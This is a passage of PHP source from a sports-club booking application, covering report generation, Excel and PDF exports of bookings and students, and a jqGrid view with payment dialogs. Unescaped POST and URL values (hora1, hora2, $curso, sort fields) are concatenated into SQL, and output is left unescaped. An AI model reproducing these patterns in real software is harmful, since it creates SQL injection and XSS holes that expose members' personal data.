'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve los partes diarios de las clases de hoy
# -------------------------------------------------------------------
function clases_dia($formato="")
{
$this->load->library('calendario');
$this->load->model('Lessons_model', 'clases', TRUE);
//$this->calendario->listCalendarByRange();
$resultado = $this->calendario->listCalendarByRange(date('U', strtotime(date($this->config->item('date_db_format')))), date('U', strtotime(date($this->config->item('date_db_format')).' 23:59:59')));
$clases = array();
foreach($resultado['events'] as $clase ) {
$datos = array();
$datos['nombre'] = $clase[1];
$datos['horario'] = date($this->config->item('reserve_hour_filter_format'), strtotime($clase[2])).' - '.date($this->config->item('reserve_hour_filter_format'), strtotime($clase[3]));
$datos['pista'] = $clase[9];
$datos['profesor'] = $clase[13];
$datos['alumnos'] = array();
$alumn = null;
$alumn = $this->clases->get_AssitantsData(array('where' => 'lessons.id = '.$clase[0].' and lessons_assistants.status NOT IN (7,9)'));
foreach($alumn as $alu) array_push($datos['alumnos'], $alu['user_desc']);
//print('<pre>');print_r($alumn);print('</pre>');
array_push($clases, $datos);
}
//print('<pre>');print_r($clases);print('</pre>');
$contenido = '';
foreach($clases as $clase) {
if(count($clase['alumnos']) > 0) {
$contenido .= $this->load->view('informes/clase_dia', array('datos' => $clase), TRUE);
$contenido .= '<DIV style="page-break-after: always;"></DIV>';
}
}
//echo $contenido.'<hr>';exit();
if($contenido!='') {
$this->load->helper(array('dompdf', 'file'));
pdf_create($contenido, 'partes_clases_'.date('Ymd'));
} else {
redirect('informes');
exit();
}
exit();
print('<pre>');print_r($clases);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve los partes diarios de las clases de hoy
# -------------------------------------------------------------------
function clases_listado($curso='all', $formato="")
{
$this->load->library('calendario');
$this->load->model('Lessons_model', 'clases', TRUE);
//echo 'aa';
//$resultado = $this->clases->get_data(array('where'=>'lessons.id_sport = 4'));
$where='';
if($curso!='') $where="lessons.id = ".$curso;
$resultado = $this->clases->get_data(array('where'=>$where, 'orderby'=>'zz_sports.description ASC, lessons.description', 'orderbyway'=>'ASC'));
//$resultado = $this->calendario->listCalendarByRange(date('U', strtotime(date($this->config->item('date_db_format')))), date('U', strtotime(date($this->config->item('date_db_format')).' 23:59:59')));
//print('<pre>');print_r($resultado);print('</pre>');exit();
$clases = array();
foreach($resultado as $clase ) {
$datos = array();
$datos['nombre'] = $clase['description'];
$datos['horario'] =$clase['rango_horas'];
$datos['pista'] = $clase['court_desc'];
$datos['profesor'] = $clase['profesor'];
$datos['alumnos'] = array();
$alumn = null;
$alumn = $this->clases->get_AssitantsData(array('where' => 'lessons.id = '.$clase['id'].' and lessons_assistants.status NOT IN (7,9)'));
foreach($alumn as $alu) array_push($datos['alumnos'], array('nombre' => $alu['user_desc'], 'nif' => $alu['nif'], 'nacimiento' => $alu['fecha_nacimiento'], 'telefono' => $alu['user_phone']));
//print('<pre>');print_r($alumn);print('</pre>');exit();
array_push($clases, $datos);
}
//print('<pre>');print_r($clases);print('</pre>');exit();
if(isset($formato) && $formato=='excel') {
$this->load->helper('export');
listado_clases($clases);
exit();
} else {
$contenido = '';
foreach($clases as $clase) {
if(count($clase['alumnos']) > 0) {
$contenido .= $this->load->view('informes/listado_alumnos', array('datos' => $clase), TRUE);
$contenido .= '<DIV style="page-break-after: always;"></DIV>';
}
}
//echo $contenido.'<hr>';exit();
if($contenido!='') {
$this->load->helper(array('dompdf', 'file'));
pdf_create($contenido, 'listado_clases_'.date('Ymd'));
} else {
redirect('informes');
exit();
}
}
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de reservas diarias
# -------------------------------------------------------------------
function reserva_diaria($formato="")
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
$this->session->set_userdata('error_message', 'Acceso a pagina no permitida');
redirect(site_url(), 'Location');
exit();
}
####################
# FILTROS
$campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format')), 'hora1' => '00:00:00', 'hora2' => '23:59:00'));
//print("<pre>");print_r($campos_busqueda);
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
//booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc
//print_r($this->reservas->get_global_list());
$where_arr=array();
$selected_date1=$this->input->post('date1');
if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format'));
$selected_date2=$this->input->post('date2');
if(!isset($selected_date2) || $selected_date2=="") $selected_date2=date($this->config->item('reserve_date_filter_format'));
if($selected_date1!="") array_push($where_arr, "`date` >= '".date($this->config->item('date_db_format'), strtotime($selected_date1))."'");
if($selected_date2!="") array_push($where_arr, "`date` <= '".date($this->config->item('date_db_format'), strtotime($selected_date2))."'");
$selected_time1=$this->input->post('hora1');
if(!isset($selected_time1) || $selected_time1=="") $selected_time1='00:00:00';
$selected_time2=$this->input->post('hora2');
if(!isset($selected_time2) || $selected_time2=="") $selected_time2='23:59:00';
if($selected_time1!="") array_push($where_arr, "`intervalo` >= '".$selected_time1."'");
if($selected_time2!="") array_push($where_arr, "`intervalo` <= '".$selected_time2."'");
$where=implode(' AND ', $where_arr);
$order='courts.name, booking.date, booking.intervalo ';
$order_way='asc';
$records = $this->reservas->get_global_list($where, $order, $order_way, null);
$resultado=array();
//print("aaaa<pre>");
//print_r($records['records']->result_array());
$trans="";
foreach ($records['records']->result() as $row) {
if($trans != $row->id_transaction) {
$info=$this->reservas->getBookingInfoById($row->id_transaction);
//echo $info['inicio']; print_r($info); print_r($row); exit();
//print("<pre>"); print_r($row);
if($row->id_user) $usuario = $row->first_name." ".$row->last_name;
elseif($row->user_desc) $usuario = $row->user_desc;
else $usuario = "Desconocido";
if($row->id_user) $telefono = $row->phone;
else $telefono = $row->user_phone;
if($row->id_paymentway == 0 ) $forma_pago = 'No pagado';
else $forma_pago = $row->paymentway_desc;
if($row->no_cost == 0 ) $no_cost = '';
else $no_cost = $row->no_cost_desc;
$resultado[] = array(
$row->id_transaction,
$row->court_name,
$row->fecha,
$info['inicio'],
$info['fin'],
$row->id_user,
$usuario,
$telefono,
$info['intervals'],
$forma_pago,
$no_cost
);
$trans=$row->id_transaction;
}
}
//print("<pre>");print_r($resultado);
if($formato=="excel") {
$this->output->set_header("Content-type: application/vnd.ms-excel");
$this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls");
$salida="";
$salida='<table boder="1">'."\r\n";
$salida.='<tr><td>Id</td><td>Pista</td><td>Fecha</td><td>Inicio</td><td>Fin</td><td>Id Usuario</td><td>Usuario</td><td>Telefono</td><td>Intervalos</td><td>Forma Pago</td><td>Sin Coste</td></tr>';
foreach($resultado as $pago) {
$salida.='<tr>'."\r\n";
foreach($pago as $valor) $salida.='<td>'.$valor.'</td>'."\r\n";
$salida.='</tr>'."\r\n";
}
$salida.='</table>';
$this->output->set_output($salida);
return NULL;
}
//echo $salida;
$array_resultados=array();
# Post proceso el resultado para crear un array jerarquizado por niveles donde contenga las reservas por pista
foreach($resultado as $reserva) {
$total_euro=0;
$total_cantidad=0;
if(!isset($array_resultados[$reserva[1]])) {
# Si no existe el elemento, es que es la primera vuelta que doy en esa pista
$array_resultados[$reserva[1]]=array();
}
array_push($array_resultados[$reserva[1]], array('id_transaction' => $reserva[0], 'id_user' => $reserva[5], 'user' => $reserva[6], 'phone' => $reserva[7], 'fecha' => $reserva[2], 'inicio' => $reserva[3], 'fin' => $reserva[4], 'intervalos' => $reserva[8], 'payment_way' => $reserva[9]));
}
//print("<pre>");print_r($array_resultados);
$fields=array(htmlentities('Nยบ Socio'), 'Fecha','Inicio', 'Fin', 'Usuario', 'Telefono', 'Forma Pago');
$contenido = $this->load->view('informes/reserva_diaria', array('resultado' => $array_resultados, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE);
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'navigation' => $this->load->view('navigation', '', true),
'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true),
'main_content' => $contenido,
'form_name' => 'frmInforme',
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de ocupaciรณn
# -------------------------------------------------------------------
function reserva_ocupacion($formato="")
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
####################
# FILTROS
$campos_busqueda = $this->simpleSearchFields(array('sports'=>0, 'court_type'=>0, 'court'=>0, 'status'=>0, 'paymentway'=>0, 'date1' => date($this->config->item('reserve_date_filter_format')), 'date2' => date($this->config->item('reserve_date_filter_format'))));
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
//booking.id as id, id_booking, id_user, session, id_court, date as fecha, intervalo, status, id_paymentway, price, no_cost, no_cost_desc, user_desc, user_phone, booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, meta.last_name as last_name, zz_booking_status.description as status_desc, zz_paymentway.description as paymentway_desc
//print_r($this->reservas->get_global_list());
$where_arr=array();
$selected_date1=$this->input->post('date1');
if(!isset($selected_date1) || trim($selected_date1)=="") $selected_date1=date($this->config->item('reserve_date_filter_format'));
$selected_date2=$this->input->post('date2');
if(!isset($selected_date2) || trim($selected_date2)=="") $selected_date2=date($this->config->item('reserve_date_filter_format'));
$selected_hour1=$this->input->post('hora1');
if(!isset($selected_hour1) || $selected_hour1=="") $selected_hour1='00:00:00';
$selected_hour2=$this->input->post('hora2');
if(!isset($selected_hour2) || $selected_hour2=="") $selected_hour2='23:59:00';
$order='courts.name, booking.date, booking.intervalo ';
$order_way='asc';
$fecha1 = date($this->config->item('date_db_format'), strtotime($selected_date1));
$fecha2 = date($this->config->item('date_db_format'), strtotime($selected_date2));
$hora1 = date($this->config->item('hour_db_format'), strtotime($selected_hour1));
$hora2 = date($this->config->item('hour_db_format'), strtotime($selected_hour2));
$resultado = $this->reservas->get_complete_court_ocupation($fecha1, $fecha2, $hora1, $hora2);
//print("<pre>");print_r($resultado);
if($formato=="excel") {
$this->output->set_header("Content-type: application/vnd.ms-excel");
$this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls");
$salida="";
$salida='<table boder="1">'."\r\n";
$salida.='<tr><td>Id</td><td>Pista</td><td>Horas totales</td><td>Total facturado</td><td>Facturable ( + sin coste)</td><td>Horas potenciales</td></tr>';
foreach($resultado as $linea) {
$salida.='<tr>'."\r\n";
$salida.='<td>'.$linea['id'].'</td>'."\r\n";
$salida.='<td>'.$linea['name'].'</td>'."\r\n";
$salida.='<td>'.number_format($linea['total_horas'],1,',', '.').'</td>'."\r\n";
$salida.='<td>'.number_format($linea['total_facturado'],2,',', '.').'</td>'."\r\n";
$salida.='<td>'.number_format($linea['total_facturable'],2,',', '.').'</td>'."\r\n";
$salida.='<td>'.number_format($linea['maximo_horas'],1,',', '.').'</td>'."\r\n";
$salida.='</tr>'."\r\n";
}
$salida.='</table>';
$this->output->set_output($salida);
return NULL;
}
//echo $salida;
//print("<pre>");print_r($array_resultados);
$fields=array( 'Pista','Horas', 'Ocupación', 'Facturación', 'Fact. Potencial');
$contenido = $this->load->view('informes/reserva_ocupacion', array('resultado' => $resultado, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE);
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true),
'main_content' => $contenido,
'form_name' => 'frmInforme',
'footer' => $this->load->view('footer', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
function simpleSearchFields($options=array())
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
#########################
## CREACION DE FILTROS
######
//$page_id=$this->app_common->get_page_id();
//echo $page_id;
/*
$filtros=$this->session->userdata('filters');
if(!isset($filtros)) $this->session->set_userdata('filters', array());
if(!isset($filtros[$page_id])) $filtros[$page_id]= array();
*/
$filter_array=array();
$selected_sport=$this->input->post('sports');
$selected_court_type=$this->input->post('court_type');
$selected_court=$this->input->post('court');
$selected_status=$this->input->post('status');
$selected_paymentway=$this->input->post('paymentway');
$selected_user=$this->input->post('user');
$selected_no_cost=$this->input->post('no_cost');
$selected_date1=$this->input->post('date1');
//if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format'));
//echo date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')))). " -1 month";
//echo date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month"));
if(!isset($selected_date1) || $selected_date1=="") {
if(!isset($options['date1']) || $options['date1']=="0") $selected_date1=date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month"));
else $selected_date1=$options['date1']; // Valor por defecto pasado por parรกmetros
}
$selected_date2=$this->input->post('date2');
if(!isset($selected_date2) || $selected_date2=="") {
if(!isset($options['date1']) || $options['date1']=="0") $selected_date2=date($this->config->item('reserve_date_filter_format'));
else $selected_date2=$options['date2']; // Valor por defecto pasado por parรกmetros
}
$selected_hour1=$this->input->post('hora1');
if(!isset($selected_hour1) || $selected_hour1=="") {
if(!isset($options['hora1']) || $options['hora1']=="0") $selected_hour1='00:00:00';
else $selected_hour1=$options['hora1']; // Valor por defecto pasado por parรกmetros
}
$selected_hour2=$this->input->post('hora2');
if(!isset($selected_hour2) || $selected_hour2=="") {
if(!isset($options['hora2']) || $options['hora2']=="0") $selected_hour2='23:59:00';
else $selected_hour2=$options['hora2']; // Valor por defecto pasado por parรกmetros
}
# Filtro de DEPORTE
if(!isset($options['sports']) || $options['sports']=="1") {
$options=$this->reservas->getSportsArray();
if(isset($options) && count($options)!=1) {
$equipo=array('name' => 'sports', 'desc' => $this->lang->line('sport'), 'default' => $selected_sport, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'sports', 'type' => 'select', 'value' => $options);
array_push($filter_array, $equipo);
}
}
# Filtro de TIPO DE PISTA
if(!isset($options['court_type']) || $options['court_type']=="1") {
$options=$this->pistas->getAvailableCourtsTypesArray($selected_sport);
if(isset($options) && count($options)!=1) {
$tipopista=array('name' => 'court_type', 'desc' => $this->lang->line('court_type'), 'default' => $selected_court_type, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court_type', 'type' => 'select', 'value' => array('' => $options));
array_push($filter_array, $tipopista);
}
}
# Filtro de PISTAS
if(!isset($options['court']) || $options['court']=="1") {
$options=$this->pistas->getAvailableCourtsArray($selected_sport,$selected_court_type);
if(isset($options) && count($options)!=1) {
$pista=array('name' => 'court', 'desc' => $this->lang->line('court'), 'default' => $selected_court, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court', 'type' => 'select', 'value' => array('' => $options));
array_push($filter_array, $pista);
}
}
# Filtro de ESTADO DE RESERVA
if(!isset($options['status']) || $options['status']=="1") {
$options=$this->reservas->getReserveStatusArray();
if(isset($options) && count($options)!=1) {
$equipo=array('name' => 'status', 'desc' => $this->lang->line('reserve_status'), 'default' => $selected_status, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'status', 'type' => 'select', 'value' => $options);
array_push($filter_array, $equipo);
}
}
# Filtro de FORMA DE PAGO
if(!isset($options['paymentway']) || $options['paymentway']=="1") {
$options=$this->reservas->getPaymentWaysArray();
if(isset($options) && count($options)!=1) {
$equipo=array('name' => 'paymentway', 'desc' => $this->lang->line('payment_ways'), 'default' => $selected_paymentway, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'paymentway', 'type' => 'select', 'value' => $options);
array_push($filter_array, $equipo);
}
}
# Filtro de FECHA
if(!isset($options['date']) || $options['date']!="0") {
$fecha=array('name' => 'date1', 'desc' => $this->lang->line('date1'), 'default' => $selected_date1, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date1', 'type' => 'date');
array_push($filter_array, $fecha);
# Filtro de FECHA
$fecha=array('name' => 'date2', 'desc' => $this->lang->line('date2'), 'default' => $selected_date2, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date2', 'type' => 'date');
array_push($filter_array, $fecha);
}
# Filtro de FECHA
if(!isset($options['hora1']) || $options['hora1']!="0" || !isset($options['hora2']) || $options['hora2']!="0") {
$fecha=array('name' => 'hora1', 'desc' => $this->lang->line('hora1'), 'default' => $selected_hour1, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'hora1', 'type' => 'time');
array_push($filter_array, $fecha);
# Filtro de FECHA
$fecha=array('name' => 'hora2', 'desc' => $this->lang->line('hora2'), 'default' => $selected_hour2, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'hora2', 'type' => 'time');
array_push($filter_array, $fecha);
}
# Completo la informacion de los filtros en sesion
/*
$this->session->set_userdata('filters', $filtros);
//print("<pre>"); print_r($filter_array);
$filtros2=$this->session->userdata('filters');print("<pre>"); print_r($filtros2);
*/
return $filter_array;
}
function email()
{
$this->load->library('ckeditor');
$this->load->helper('ckeditor');
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$data=array(
'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $this->load->view('editor/main', '', true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
function jquery()
{
$this->load->helper('jqgrid');
# opciones del menu
$menu=array('menu' => $this->app_common->get_menu_options());
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true},
{name:'fecha',index:'fecha', width:12, align:'center'},
{name:'intervalo', index:'intervalo', width:10, align:'center'},
{name:'court_name',index:'court_name', width:20, align:'center'},
{name:'user_desc', index:'user_desc', width:30, align:'center'},
{name:'user_phone', index:'user_phone', width:12, align:'center'},
{name:'status_desc', index:'status_desc', width:15, align:'center'},
{name:'paymentway_desc', index:'paymentway_desc', width:15, align:'center'},
{name:'price', index:'price', width:10, align:'center'},
{name:'no_cost',index:'no_cost', width:10, align:'center', sortable:false}";
$colnames = "'Id','Fecha','Hora','Pista','Usuario', 'Telefono', 'Estado', 'Forma de pago', 'Precio', 'Gratis'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "informes/browse",
'title' => 'Listado de reservas',
'default_orderfield' => 'date',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'row_list_options' => '10,20,50',
);
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => link_tag(base_url().'css/informes.css')), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>',
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//if($this->session->userdata('logged_in')) $page='reservas_user_index';
//if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index';
$this->load->view('main', $data);
}
public function browse ()
{
$this->load->model('Reservas_model', 'reservas', TRUE);
//$req_param = array ();
$req_param = array (
"orderby" => $this->input->post( "sidx", TRUE ),
"orderbyway" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"where" => ''
/*
"sort_by" => $this->input->post( "sidx", TRUE ),
"sort_direction" => $this->input->post( "sord", TRUE ),
"page" => $this->input->post( "page", TRUE ),
"num_rows" => $this->input->post( "rows", TRUE ),
"search" => $this->input->post( "_search", TRUE ),
"search_field" => $this->input->post( "searchField", TRUE ),
"search_operator" => $this->input->post( "searchOper", TRUE ),
"search_str" => $this->input->post( "searchString", TRUE ),
"search_field_1" => "msg_to",
"search_field_2" => "msg_in_inbox",
"user_id" => $this->session->userdata('user_id')
*/
);
$data->page = $this->input->post( "page", TRUE );
$data->records = count ($this->reservas->get_data($req_param,"all")->result_array());
$data->total = ceil ($data->records /10 );
$records = $this->reservas->get_data ($req_param, 'none')->result_array();
$data->rows = $records;
echo json_encode ($data );
exit( 0 );
}
}
/* End of file reports.php */
/* Location: ./system/application/controllers/reports.php */```
list_players.php
```<?php
if(isset($menu_lateral)) echo $menu_lateral;
if(isset($grid_code)) echo $grid_code;
//print_r($motivos_baja);
?>
<script type="text/javascript">
<?php
if(isset($enable_buttons) && $enable_buttons) {
?>
function jqGrid_ondblClickRow() {
var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow');
if(gsr){
location.href='<?php echo site_url('lessons/asistant_info/'.$id_transaction);?>/'+gsr;
identificador = gsr;
}
}
var identificador = '';
$(function() {
$.mask.masks.dinero = {mask : '99.999', type : 'reverse', defaultValue: '000'};
$('input:text').setMask();
jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-closethick", title:'Eliminar alumno',
onClickButton:function(){
var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow');
if(gsr){
//location.href='<?php echo site_url('lessons/unsubscribe_assistant/'.$id_transaction.'/'); ?>/'+gsr;
//identificador = gsr;
identificador = gsr;
$('#baja_dialog').dialog('open');
} else {
alert("Please select Row")
}
}
});
jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-plusthick", title:'Nuevo alumno',
onClickButton:function(){
location.href='<?php echo site_url('lessons/add_assistant/'.$id_transaction); ?>';
}
});
<?php if($alta) { ?>
jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-flag", title:'Pagar alta de alumno',
onClickButton:function(){
var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow');
if(gsr){
identificador = gsr;
$('#alta_dialog').dialog('open');
} else {
alert("Please select Row")
}
}
});
<?php } ?>
jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-cart", title:'Cobrar a alumno',
onClickButton:function(){
var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow');
if(gsr){
//location.href='<?php echo site_url('retos/pay_player/'.$id_transaction.'/'); ?>/'+gsr;
identificador = gsr;
$('#pagar_dialog').dialog('open');
} else {
alert("Please select Row");
}
}
});
jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-document", title:'Listado de alumnos',
onClickButton:function(){
location.href='<?php echo site_url('informes/clases_listado/'.$id_transaction.'/excel'); ?>';
}
});
});
<?php
}
?>
// increase the default animation speed to exaggerate the effect
//$.fx.speeds._default = 1000;
$(function()
{
$('input:text').setMask();
$('#pagar_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Efectivo': function() {
//modificar para que mantenga el filtro
//location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/1';
document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/1';
document.getElementById('frmPago2').submit();
},
'Tarjeta': function() {
//modificar para que mantenga el filtro
//location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/2';
document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/2';
document.getElementById('frmPago2').submit();
},
'Banco': function() {
//modificar para que mantenga el filtro
//location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/4';
document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/4';
document.getElementById('frmPago2').submit();
},
}
});
$('#alta_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Efectivo': function() {
//modificar para que mantenga el filtro
document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/1';
document.getElementById('frmPago').submit();
$(this).dialog('close');
},
'Tarjeta': function() {
//modificar para que mantenga el filtro
document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/2';
document.getElementById('frmPago').submit();
$(this).dialog('close');
},
'Banco': function() {
//modificar para que mantenga el filtro
document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/4';
document.getElementById('frmPago').submit();
$(this).dialog('close');
},
'Cancelar': function() {
$(this).dialog('close');
}
}
});
});
$(function()
{
$('#cancelar_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Cancelar Reserva': function() {
//modificar para que mantenga el filtro
document.getElementById('text_cancel').value = document.getElementById('text_cancel_view').value;
document.getElementById('frmGrid').action='<?php echo site_url('reservas_gest/cancel_reserve');?>/';
document.getElementById('frmGrid').submit();
$(this).dialog('close');
},
'Cerrar': function() {
$(this).dialog('close');
}
}
});
$('#baja_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Baja del alumno': function() {
//modificar para que mantenga el filtro
alert (document.getElementById('unsubscription_reason').value);
document.getElementById('frmBaja').action='<?php echo site_url('lessons/unsubscribe_assistant/'.$id_transaction.'/'); ?>/'+identificador;
document.getElementById('frmBaja').submit();
//alert(document.getElementById('frmBaja').action);
$(this).dialog('close');
},
'Cerrar': function() {
$(this).dialog('close');
}
}
});
});
$(function()
{
$("#cambiar_dialog").dialog({
autoOpen: false,
height: 300,
width: 350,
modal: true,
buttons:
{
'Modificar': function()
{
//FALTA VALIDACIรN DE CAMPOS
document.getElementById('hora_inicio').value = document.getElementById('hora_inicio_view').value;
document.getElementById('hora_fin').value = document.getElementById('hora_fin_view').value;
$('#confirmar_dialog').dialog('open');
$(this).dialog('close');
},
'Cancelar': function()
{
$(this).dialog('close');
}
}
});
});
$(function()
{
$('#confirmar_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Modificar': function() {
//FALTA VALIDACIรN DE CAMPOS
document.getElementById('frmGrid').action='<?php echo site_url('reservas_gest/change_reserve');?>/';
//alert(document.frmGrid.hora_inicio.value);
document.getElementById('frmGrid').submit();
$(this).dialog('close');
},
'Cerrar': function() {
$(this).dialog('close');
}
}
});
var dates = $( "#payd_date_tmp" ).datepicker({
showOn: 'button',
buttonImage: '<?php echo base_url(); ?>/images/calendar.gif',
buttonImageOnly: true,
changeMonth: true,
changeYear: true,
numberOfMonths: 2,
dateFormat: 'dd-mm-yy',
dayNamesMin: ['Do', 'Lu', 'Ma', 'Mi', 'Ju', 'Vi', 'Sa'],
